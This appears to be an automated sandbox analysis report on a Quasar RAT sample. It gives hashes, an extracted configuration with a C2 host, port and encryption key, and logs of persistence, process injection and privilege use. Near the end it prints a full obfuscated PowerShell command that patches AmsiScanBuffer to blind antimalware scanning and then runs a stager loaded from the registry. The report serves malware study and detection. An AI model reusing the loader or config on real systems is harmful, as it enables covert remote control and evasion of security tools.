quasar | 00c7cb06bebe0da961155dc00f7ea7f96a3b04c89ae82408e7ece6968c91c3c3

Analysis

max time kernel
1800s
max time network
1797s
platform
windows11-21h2_x64
resource
win11-20240508-en
resource tags

arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
submitted
08-05-2024 17:28

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General

Target

Uni.exe
Size

409KB
MD5

7417c8c73e614f293152575f46134216
SHA1

cc68f7f5e7c769efb5b3e06bfb3a2f9329f37805
SHA256

00c7cb06bebe0da961155dc00f7ea7f96a3b04c89ae82408e7ece6968c91c3c3
SHA512

897a859e609028157f2721d76b97497d4b9f821d2b8be3359d1192ddc3a83d4b7449db25c63c3c260067b796c122194c48747dc611c98dc1e33aab82a20b98b0
SSDEEP

6144:nMr2pJAJcC0B632U3GRbMfgvKFFhTEDPX1NbKoEn5MSU+h2f8/14m:LpyJcC+82U3GRGGp1M5Ys2f8/6m

Score

10^/10

quasar slave spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

SLAVE

even-lemon.gl.at.ply.gg:33587

Mutex

$Sxr-dOMA5C0pQTTpKjVsCp

Attributes

encryption_key
UBXs44u6E81wxBGZxQHk
install_name
$sxr-powershell.exe
log_directory
$SXR-KEYLOGS
reconnect_delay
3000
startup_key
$sxr-powershell
subdirectory
$sxr-seroxen2

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

Processes:

resource	yara_rule
behavioral4/memory/2064-1-0x0000000000F30000-0x0000000000F9C000-memory.dmp	family_quasar
C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

Processes:

powershell.EXEpowershell.EXE

description pid process target process

PID 4696 created 644 4696 powershell.EXE winlogon.exe
PID 2024 created 644 2024 powershell.EXE winlogon.exe
Executes dropped EXE 3 IoCs

Processes:

$sxr-powershell.exeinstall.exeinstall.exe

pid process

4664 $sxr-powershell.exe
2908 install.exe
2160 install.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

1 raw.githubusercontent.com
4 raw.githubusercontent.com
8 raw.githubusercontent.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

1 ip-api.com

description	pid	process	target process
PID 4696 created 644	4696	powershell.EXE	winlogon.exe
PID 2024 created 644	2024	powershell.EXE	winlogon.exe

pid	process
4664	$sxr-powershell.exe
2908	install.exe
2160	install.exe

flow	ioc
1	raw.githubusercontent.com
4	raw.githubusercontent.com
8	raw.githubusercontent.com

flow	ioc
1	ip-api.com

Drops file in System32 directory 5 IoCs

Processes:

powershell.EXEsvchost.exepowershell.EXE

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE

Suspicious use of SetThreadContext 2 IoCs

Processes:

powershell.EXEpowershell.EXE

description	pid	process	target process
PID 4696 set thread context of 2256	4696	powershell.EXE	dllhost.exe
PID 2024 set thread context of 4656	2024	powershell.EXE	dllhost.exe

Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

SCHTASKS.exeschtasks.exeschtasks.exe

pid process

3556 SCHTASKS.exe
1300 schtasks.exe
4496 schtasks.exe

pid	process
3556	SCHTASKS.exe
1300	schtasks.exe
4496	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.EXEpowershell.EXEOfficeClickToRun.exesvchost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1715200265"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.EXEpowershell.EXEdllhost.exedllhost.exe

pid	process
4696	powershell.EXE
4696	powershell.EXE
2024	powershell.EXE
2024	powershell.EXE
4696	powershell.EXE
2256	dllhost.exe
2256	dllhost.exe
2256	dllhost.exe
2256	dllhost.exe
2256	dllhost.exe
2256	dllhost.exe
2256	dllhost.exe
2256	dllhost.exe
2024	powershell.EXE
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe
4656	dllhost.exe

Suspicious use of AdjustPrivilegeToken 32 IoCs

Processes:

Uni.exepowershell.EXE$sxr-powershell.exepowershell.EXEdllhost.exedllhost.exedwm.exeExplorer.EXE

description	pid	process
Token: SeDebugPrivilege	2064	Uni.exe
Token: SeDebugPrivilege	4696	powershell.EXE
Token: SeDebugPrivilege	4664	$sxr-powershell.exe
Token: SeDebugPrivilege	2024	powershell.EXE
Token: SeDebugPrivilege	4696	powershell.EXE
Token: SeDebugPrivilege	2256	dllhost.exe
Token: SeDebugPrivilege	2024	powershell.EXE
Token: SeDebugPrivilege	4656	dllhost.exe
Token: SeShutdownPrivilege	444	dwm.exe
Token: SeCreatePagefilePrivilege	444	dwm.exe
Token: SeShutdownPrivilege	3316	Explorer.EXE
Token: SeCreatePagefilePrivilege	3316	Explorer.EXE
Token: SeShutdownPrivilege	444	dwm.exe
Token: SeCreatePagefilePrivilege	444	dwm.exe
Token: SeShutdownPrivilege	3316	Explorer.EXE
Token: SeCreatePagefilePrivilege	3316	Explorer.EXE
Token: SeShutdownPrivilege	444	dwm.exe
Token: SeCreatePagefilePrivilege	444	dwm.exe
Token: SeShutdownPrivilege	3316	Explorer.EXE
Token: SeCreatePagefilePrivilege	3316	Explorer.EXE
Token: SeShutdownPrivilege	444	dwm.exe
Token: SeCreatePagefilePrivilege	444	dwm.exe
Token: SeShutdownPrivilege	3316	Explorer.EXE
Token: SeCreatePagefilePrivilege	3316	Explorer.EXE
Token: SeShutdownPrivilege	444	dwm.exe
Token: SeCreatePagefilePrivilege	444	dwm.exe
Token: SeShutdownPrivilege	3316	Explorer.EXE
Token: SeCreatePagefilePrivilege	3316	Explorer.EXE
Token: SeShutdownPrivilege	444	dwm.exe
Token: SeCreatePagefilePrivilege	444	dwm.exe
Token: SeShutdownPrivilege	3316	Explorer.EXE
Token: SeCreatePagefilePrivilege	3316	Explorer.EXE

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

$sxr-powershell.exe

pid process

4664 $sxr-powershell.exe

pid	process
4664	$sxr-powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Uni.exe$sxr-powershell.exepowershell.EXEdllhost.exe

description	pid	process	target process
PID 2064 wrote to memory of 4496	2064	Uni.exe	schtasks.exe
PID 2064 wrote to memory of 4496	2064	Uni.exe	schtasks.exe
PID 2064 wrote to memory of 4496	2064	Uni.exe	schtasks.exe
PID 2064 wrote to memory of 4664	2064	Uni.exe	$sxr-powershell.exe
PID 2064 wrote to memory of 4664	2064	Uni.exe	$sxr-powershell.exe
PID 2064 wrote to memory of 4664	2064	Uni.exe	$sxr-powershell.exe
PID 2064 wrote to memory of 2908	2064	Uni.exe	install.exe
PID 2064 wrote to memory of 2908	2064	Uni.exe	install.exe
PID 2064 wrote to memory of 2908	2064	Uni.exe	install.exe
PID 2064 wrote to memory of 3556	2064	Uni.exe	SCHTASKS.exe
PID 2064 wrote to memory of 3556	2064	Uni.exe	SCHTASKS.exe
PID 2064 wrote to memory of 3556	2064	Uni.exe	SCHTASKS.exe
PID 4664 wrote to memory of 1300	4664	$sxr-powershell.exe	schtasks.exe
PID 4664 wrote to memory of 1300	4664	$sxr-powershell.exe	schtasks.exe
PID 4664 wrote to memory of 1300	4664	$sxr-powershell.exe	schtasks.exe
PID 4664 wrote to memory of 2160	4664	$sxr-powershell.exe	install.exe
PID 4664 wrote to memory of 2160	4664	$sxr-powershell.exe	install.exe
PID 4664 wrote to memory of 2160	4664	$sxr-powershell.exe	install.exe
PID 4696 wrote to memory of 2256	4696	powershell.EXE	dllhost.exe
PID 4696 wrote to memory of 2256	4696	powershell.EXE	dllhost.exe
PID 4696 wrote to memory of 2256	4696	powershell.EXE	dllhost.exe
PID 4696 wrote to memory of 2256	4696	powershell.EXE	dllhost.exe
PID 4696 wrote to memory of 2256	4696	powershell.EXE	dllhost.exe
PID 4696 wrote to memory of 2256	4696	powershell.EXE	dllhost.exe
PID 4696 wrote to memory of 2256	4696	powershell.EXE	dllhost.exe
PID 4696 wrote to memory of 2256	4696	powershell.EXE	dllhost.exe
PID 2256 wrote to memory of 644	2256	dllhost.exe	winlogon.exe
PID 2256 wrote to memory of 704	2256	dllhost.exe	lsass.exe
PID 2256 wrote to memory of 1008	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 444	2256	dllhost.exe	dwm.exe
PID 2256 wrote to memory of 968	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1044	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1076	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1100	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1192	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1252	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1260	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1380	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1400	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1408	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1532	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1540	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1552	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1700	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1736	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1756	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1824	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1852	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1864	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1900	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 2028	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 2044	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 2112	2256	dllhost.exe	spoolsv.exe
PID 2256 wrote to memory of 2220	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 2412	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 2420	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 2428	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 2468	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 2552	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 2580	2256	dllhost.exe	sysmon.exe
PID 2256 wrote to memory of 2588	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 2604	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 2616	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 800	2256	dllhost.exe	sihost.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:644
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:444
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{e11dc155-d46f-4ad1-a36a-5081b675e357}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2256
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{270990c6-5860-4772-b1f8-bbfdeb0d13ef}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4656

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:704

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1008

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:968

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1044

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1076

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1100

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1192

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1252

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1260
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:fuagstZODOYh{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$sQzqCCamwJPdph,[Parameter(Position=1)][Type]$crUQiddidn)$NoAcPuyOvzV=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+'t'+[Char](101)+''+'d'+''+[Char](68)+''+[Char](101)+''+'l'+'e'+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'n'+[Char](77)+''+[Char](101)+'m'+[Char](111)+''+[Char](114)+'y'+[Char](77)+''+'o'+'dul'+'e'+'',$False).DefineType(''+'M'+'yD'+'e'+''+[Char](108)+''+[Char](101)+'g'+[Char](97)+''+'t'+'eT'+[Char](121)+''+[Char](112)+''+'e'+'','C'+'l'+''+'a'+'s'+[Char](115)+''+[Char](44)+'Pu'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'S'+''+'e'+''+[Char](97)+''+'l'+''+[Char](101)+''+[Char](100)+''+','+'A'+[Char](110)+'siC'+'l'+'a'+'s'+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+'u'+''+[Char](116)+''+[Char](111)+''+'C'+'l'+'a'+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$NoAcPuyOvzV.DefineConstructor(''+'R'+''+'T'+''+[Char](83)+''+'p'+''+'e'+''+[Char](99)+'i'+[Char](97)+'lNa'+[Char](109)+''+[Char](101)+''+','+'H'+'i'+'de'+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$sQzqCCamwJPdph).SetImplementationFlags('Ru'+'n'+'t'+'i'+''+[Char](109)+''+'e'+','+[Char](77)+''+'a'+'n'+[Char](97)+''+[Char](103)+'e'+'d'+'');$NoAcPuyOvzV.DefineMethod(''+'I'+'n'+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+'P'+'u'+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+','+''+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+','+''+[Char](78)+'ew'+[Char](83)+''+[Char](108)+''+[Char](111)+''+'t'+''+[Char](44)+''+[Char](86)+'i'+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+''+'l'+'',$crUQiddidn,$sQzqCCamwJPdph).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+'a'+[Char](110)+'age'+[Char](100)+'');Write-Output $NoAcPuyOvzV.CreateType();}$BItucUFnhFtXJ=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+[Char](116)+'em'+'.'+''+'d'+''+[Char](108)+''+'l'+'')}).GetType(''+'M'+''+[Char](105)+'c'+[Char](114)+'oso'+[Char](102)+'t'+[Char](46)+''+[Char](87)+'in'+'3'+'2'+[Char](46)+'U'+'n'+''+[Char](115)+''+'a'+'fe'+[Char](78)+''+[Char](97)+'ti'+[Char](118)+'e'+[Char](77)+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+'o'+'d'+[Char](115)+'');$hbrHaEZAQgHnjb=$BItucUFnhFtXJ.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](99)+''+[Char](65)+''+[Char](100)+''+'d'+''+[Char](114)+''+[Char](101)+'s'+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](83)+'t'+'a'+''+[Char](116)+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$UUGfxAKsAbMyYLFLCQQ=fuagstZODOYh @([String])([IntPtr]);$PcZBfrJvDbGXQxMgCaVZfO=fuagstZODOYh @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$EfpTWVIreBJ=$BItucUFnhFtXJ.GetMethod(''+'G'+''+[Char](101)+'tM'+[Char](111)+''+[Char](100)+''+[Char](117)+''+'l'+''+'e'+''+[Char](72)+''+[Char](97)+''+'n'+'d'+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+'rn'+[Char](101)+''+[Char](108)+''+[Char](51)+''+'2'+''+[Char](46)+''+[Char](100)+''+'l'+'l')));$QDQhepIAeNSVAJ=$hbrHaEZAQgHnjb.Invoke($Null,@([Object]$EfpTWVIreBJ,[Object]('L'+'o'+'a'+[Char](100)+''+[Char](76)+''+[Char](105)+''+'b'+''+[Char](114)+''+'a'+'r'+[Char](121)+''+[Char](65)+'')));$CLLrqdJUkcoaAMgDV=$hbrHaEZAQgHnjb.Invoke($Null,@([Object]$EfpTWVIreBJ,[Object](''+'V'+'i'+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'P'+[Char](114)+''+[Char](111)+''+'t'+'e'+'c'+'t')));$OlXcvRL=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($QDQhepIAeNSVAJ,$UUGfxAKsAbMyYLFLCQQ).Invoke(''+[Char](97)+''+[Char](109)+'s'+[Char](105)+'.d'+[Char](108)+''+[Char](108)+'');$HQXFoMnZHUBgXLFWS=$hbrHaEZAQgHnjb.Invoke($Null,@([Object]$OlXcvRL,[Object](''+[Char](65)+''+[Char](109)+'s'+'i'+''+[Char](83)+''+[Char](99)+''+[Char](97)+'n'+[Char](66)+''+'u'+''+[Char](102)+''+[Char](102)+''+[Char](101)+''+'r'+'')));$IQNxwIorNw=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CLLrqdJUkcoaAMgDV,$PcZBfrJvDbGXQxMgCaVZfO).Invoke($HQXFoMnZHUBgXLFWS,[uint32]8,4,[ref]$IQNxwIorNw);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$HQXFoMnZHUBgXLFWS,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CLLrqdJUkcoaAMgDV,$PcZBfrJvDbGXQxMgCaVZfO).Invoke($HQXFoMnZHUBgXLFWS,[uint32]8,0x20,[ref]$IQNxwIorNw);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'OF'+[Char](84)+'W'+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+'st'+[Char](97)+''+'g'+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4696
